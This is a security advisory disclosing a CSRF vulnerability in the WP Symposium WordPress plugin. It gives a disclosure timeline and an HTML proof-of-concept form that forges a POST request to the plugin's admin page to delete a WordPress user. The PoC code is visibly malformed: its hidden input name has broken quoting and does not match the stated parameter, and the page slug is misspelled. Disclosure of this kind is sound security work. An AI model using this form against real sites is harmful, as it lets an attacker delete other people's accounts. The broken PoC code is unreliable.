Plugin Name : WP Symposium A8-Cross-Site_Request_Forgery_(CSRF)
Effected Version : 14.05.02 (and most probably lower version's if any)
Vulnerability : A8-Cross-Site Request Forgery (CSRF)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
<html>
<body>
<form action="http://localhost/wp-admin/admin.php?page=symposiym_manage" method="POST">
<input type="hidden" name="delete_wps_";user_id" value="7" />
<input type="submit" value="Submit Request" />
</form>
</body>
</html>
Video Demonstration:
https://www.youtube.com/watch?v=prPj0YP1LOw
Vulnerable Parameter : delete_wps_user_id
Impact : By using this vulnerability attacker can delete any word press user
Fixed in : No change
Disclosure Timeline
Vendor Contacted : 2014-08-01
Plugin Status : No Change on 2014-08-02
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.
